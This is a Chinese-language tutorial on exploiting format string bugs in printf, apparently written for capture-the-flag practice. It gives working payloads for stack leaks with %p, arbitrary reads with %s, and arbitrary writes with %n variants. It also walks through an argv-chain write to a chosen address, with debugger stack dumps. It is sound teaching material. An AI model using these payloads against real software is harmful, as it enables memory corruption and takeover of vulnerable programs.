Format String
format string 是在使用 printf 上的一個漏洞,基本上好像只會在打題目的時候出現 XD
以下是經典的 format string 範例
char buf[50];
scanf("%s", buf);
printf(buf);
原本應該由開發者填寫的 format 變成使用者可控的,可以藉由這樣的漏洞達到任意讀取及任意寫入的操作
printf 參數
一開始要先講的是 printf
的參數,在 amd64
的情況下,如果參數沒有超過 6 個的話會放在 register 上,第 7 個開始才放在 stack 上
rdi
→rsi
→ rdx
→ rcx
→ r8
→ r9
→ stack
正常使用 printf
時:
printf("%d%c%s", a, b, c);
| | | |
rdi rsi rdx rcx
在使用 fromat string 時,rdi
是自己的 payload,而第一個 %
代表的是 rsi
,如果想要動到 stack 上的東西就要從第 6 個 %
開始
直接指定參數
可以使用 %x$y
直接指定第幾個參數,這邊的 x
是第幾個參數,y
則是要使用的方法
%2$p // 印出 rdx (第 2 個參數)
%3$n // 寫入 rcx (第 3 個參數)
讀取
讀取的部分主要可以有 %p
以及 %s
兩種做法,%p
可以用來讀取 register 以及 stack 上的值,而 %s
則可以做到任意讀取
%p
在讀取時使用的是 %p
,可以用 16 進位印出某個 register (stack 某位置) 存的值,以下來個範例
這邊輸入的 payload 是
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
輸出如下
0x1,0x7ffff7dd3790,0xa,(nil),0x7ffff7fe9700,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x400070,0x7fffffffe940,0x7b74f8be5cadfe00,0x4006f0
| | | | | | | | |
rsi rdx rcx r8 r9 rsp rsp + 0x8 rsp + 0x10 rsp + 0x18
假設想要印出 rsp + 0x28
的值也可以直接使用 $
來指定
%10$p -> 0x400070
%s
%s
跟 %p
讀取的目標不一樣,%s
是把存的值當成指標去讀取,而 %p
是把存的值直接送出來
在正常使用 %s
時,放入的參數是某個字串的指標,printf
會把指標所指的地方當成字串印出
char str[] = "Hello World!";
printf("%s", str); // Hello World!
這種機制就可以用來任意讀取,假設輸入的 payload 在 stack 上的話,可以把想要印出的位址寫在 payload 上,接著使用 %s
去讀出來,以下是範例
這時候的輸入如下,aaaa
的部分是為了把要印的位址推到 rsp + 0x8
,這樣 rsp + 0x8
就會剛好是 0x6262626262626262
("bbbbbbbb")
%7$saaaabbbbbbbb
在執行 printf
時會去抓 0x6262626262626262
所存的值並當成字串印出,不過這次的範例沒有這個位址,所以會失敗
寫入
printf
使用 %n
時可以寫入指定的位置,也可以更近一步使用 argv chain 來達成任意位址寫入
%n
跟 %s
類似,一樣是把存的值當成指標,%s
將指標指的位置讀出來,而 %n
則是把數值寫入指標所指的位置
假設 stack 上的 rsp + 0x10
如下,用 %8$n
寫入這格時,實際上會寫到 0x7ffff7fea000
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x7ffff7a0d000 --> 0x3010102464c457f
如果是寫 0xdeadbeef
的話,這段就會變成
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x7fffdeadbeef
寫入的值
寫入的值是在遇到 %n
前總共印了幾個字元
例如 payload 如下,%n
前有 8 個 a
,所以會寫 8 到指定的位置
aaaaaaaa%n
如果有多個 %n
的話就要看前面到底多長
例如 payload 如下,第一個 %n
前有 8 個 a
,會寫 8 到 rsp
指的位置,而第二個 %n
前有 8 個 a
以及 8 個 b
,共 16 字元,所以會寫 16 到 rsp + 8
所指的位置
aaaaaaaa%6$nbbbbbbbb%7$n
不過這樣寫入要打很久,這時候可以用到 %c
來構成 payload
先來看看 %c
的用法,可以直接指定要印出的長度
// input
char ch = 'a'
printf("%3c");
printf("%5c");
// output
" a"
" a"
利用 %c
修改一下上面的範例,可以達成一樣的效果
%8c%6$n%8c%7$n
寫入的長度
上面雖然都用 %n
來舉例,但其實寫入可以指定不同的長度
格式 | 長度 (byte) |
---|---|
%lln | 8 bytes |
%n | 4 bytes |
%hn | 2 bytes |
%hhn | 1 byte |
以一開始的例子來說
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x7ffff7a0d000 --> 0x3010102464c457f
寫 aaaa%8$lln
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x4
寫 aaaa%8$n
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x7fff00000004
寫 aaaa%8$hn
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x7ffff7a00004
寫 aaaa%8$hhn
0016| 0x7fffffffdb88 --> 0x7ffff7fea000 --> 0x7ffff7a0d004
一般在使用的時候,通常不會一次寫入整段的資料,例如要寫入 0xdeadbeef
的話,就必須要一次寫 3735928559 個字元,需要跑超久的,因此會配合 argv chain 分成 0xde
、0xad
、0xbe
、0xef
來多次寫入
argv chain
argv chain 是利用 stack 上的 argv 來達成任意寫入的功能
stack 上都會有一段是 argv 的位置,argv chain 上的兩段位址都在 stack 上且可以控制
0000| 0x7fffffffe820 --> 0x333231 ('123')
0008| 0x7fffffffe828 --> 0x40073d (<__libc_csu_init+77>: add rbx,0x1)
0016| 0x7fffffffe830 --> 0x0
0024| 0x7fffffffe838 --> 0x0
0032| 0x7fffffffe840 --> 0x4006f0 (<__libc_csu_init>: push r15)
0040| 0x7fffffffe848 --> 0x400590 (<_start>: xor ebp,ebp)
0048| 0x7fffffffe850 --> 0x7fffffffe940 --> 0x1
0056| 0x7fffffffe858 --> 0xa0a688c62ba6ff00
0064| 0x7fffffffe860 --> 0x4006f0 (<__libc_csu_init>: push r15)
0072| 0x7fffffffe868 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0080| 0x7fffffffe870 --> 0x0
+--------------------------------------------------------------------------------------------------------------+
|0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 ("/home/frozenkp/challenge/format/a.out") |
+--------------------------------------------------------------------------------------------------------------+
0096| 0x7fffffffe880 --> 0x1f7ffcca0
0104| 0x7fffffffe888 --> 0x400686 (<main>: push rbp)
0112| 0x7fffffffe890 --> 0x0
0120| 0x7fffffffe898 --> 0xc5142c5f7392e1ee
0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f
| | |
rsp + 0x58 rsp + 0x128 rsp + 0x360
argv0 argv1 argv2
可以透過寫入 argv1 來改動 argv2 寫的內容 (address),最後再透過寫入 argv2 來寫入指定的位址
以下範例,假設要在 0xdeadbeef
寫入 0x4
第一步:透過 argv1 寫 2 bytes
一開始先在 argv2 的值寫上 0xbeef
,payload 如下
%48879c%43$hn
寫完後如下
+----+
0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f|beef|
+----+
第二步:透過 argv0 移動 2
把 argv2 移動 2,payload 如下
%2c%17$hhn
寫完後如下,argv2 從 0x7fffffffeb80
變成 0x7fffffffeb82
0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb82 --> 0x7a6f72662f656d6f
第三步:透過 argv1 寫 2 bytes
原本只能寫上 0xbeef
,後面的部分透過第二步移動 argv2 以後就可以用 %hn
碰到了
因為剩下只要寫掉 0xdead
就好,所以我這邊直接使用 %lln
把後面都用 0 蓋掉
%57005c%43$lln
寫完後如下
+------+
0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb82 --> |0xdead|
+------+
第四步:透過 argv0 移動回來
把 argv2 移動回來,payload 如下
%17$hhn
寫完後如下,分兩段寫後就可以把整個 0xdeadbeef
寫上去了
+----------+
0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> |0xdeadbeef|
+----------+
第五步:透過 argv2 寫入 0xdeadbeef
這邊再寫入的時候,如果要寫得值太大,一樣要像前面一樣分成多段來寫,而這個範例只要寫入 0x4
所以就直接寫就好了
%4c%114$lln
寫完後,0xdeadbeef
存的值就會被改掉了
0088| 0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0xdeadbeef --> 0x4
這題範例為了講解方便,所以一次都寫 2 bytes,建議是一次寫 1 byte 用 for 迴圈自動移動完成即可
_printf_chk
有時候會遇到使用的是 _printf_chk
而非 printf
,其實這兩個差不多,只不過 _printf_chk
多了以下限制
- 不能用
%n
系列寫值 - 不能用
%x$y
指定參數